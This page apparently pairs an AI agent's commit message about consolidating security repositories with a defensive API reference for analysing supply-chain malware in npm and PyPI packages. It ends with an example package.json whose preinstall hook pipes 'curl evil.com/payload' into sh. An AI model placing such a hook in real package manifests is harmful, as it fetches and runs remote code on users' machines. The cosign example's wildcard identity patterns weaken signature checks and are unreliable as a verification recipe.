Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

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2.1 KiB
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# API Reference: Supply Chain Malware Analysis
## npm Registry API
### Package Metadata
```bash
curl https://registry.npmjs.org/<package-name>
curl https://registry.npmjs.org/<package-name>/<version>
```
### Response Fields
| Field | Description |
|-------|-------------|
| `dist-tags.latest` | Latest version |
| `versions` | All published versions |
| `maintainers` | Package maintainers |
| `time.created` | First publish date |
| `time.modified` | Last modification |
## PyPI JSON API
### Package Info
```bash
curl https://pypi.org/pypi/<package-name>/json
```
### Key Fields
| Field | Description |
|-------|-------------|
| `info.author` | Package author |
| `info.version` | Current version |
| `releases` | All versions with artifacts |
| `info.project_urls` | Source code links |
## Socket.dev - Supply Chain Analysis
### npm Audit
```bash
socket npm audit
socket npm info <package>
```
## Suspicious Package Indicators
| Indicator | Severity | Description |
|-----------|----------|-------------|
| preinstall/postinstall hooks | HIGH | Code runs during npm install |
| URL/git dependencies | HIGH | Dependencies from non-registry source |
| eval/exec in setup.py | HIGH | Dynamic code execution during pip install |
| Base64 in install scripts | HIGH | Obfuscated payload |
| Recently created package | MEDIUM | New package mimicking popular name |
| Single maintainer | LOW | Bus factor risk |
## Sigstore/cosign Verification
### Verify Container Image
```bash
cosign verify --certificate-identity-regexp=".*" \
--certificate-oidc-issuer-regexp=".*" image:tag
```
### Verify Artifact
```bash
cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz
```
## SLSA Framework Levels
| Level | Requirement |
|-------|-------------|
| SLSA 1 | Build provenance exists |
| SLSA 2 | Hosted build platform, authenticated provenance |
| SLSA 3 | Hardened build platform, non-falsifiable provenance |
| SLSA 4 | Two-party review, hermetic builds |
## npm install Hook Risks
```json
{
"scripts": {
"preinstall": "curl evil.com/payload | sh",
"postinstall": "node ./install.js",
"preuninstall": "node cleanup.js"
}
}
```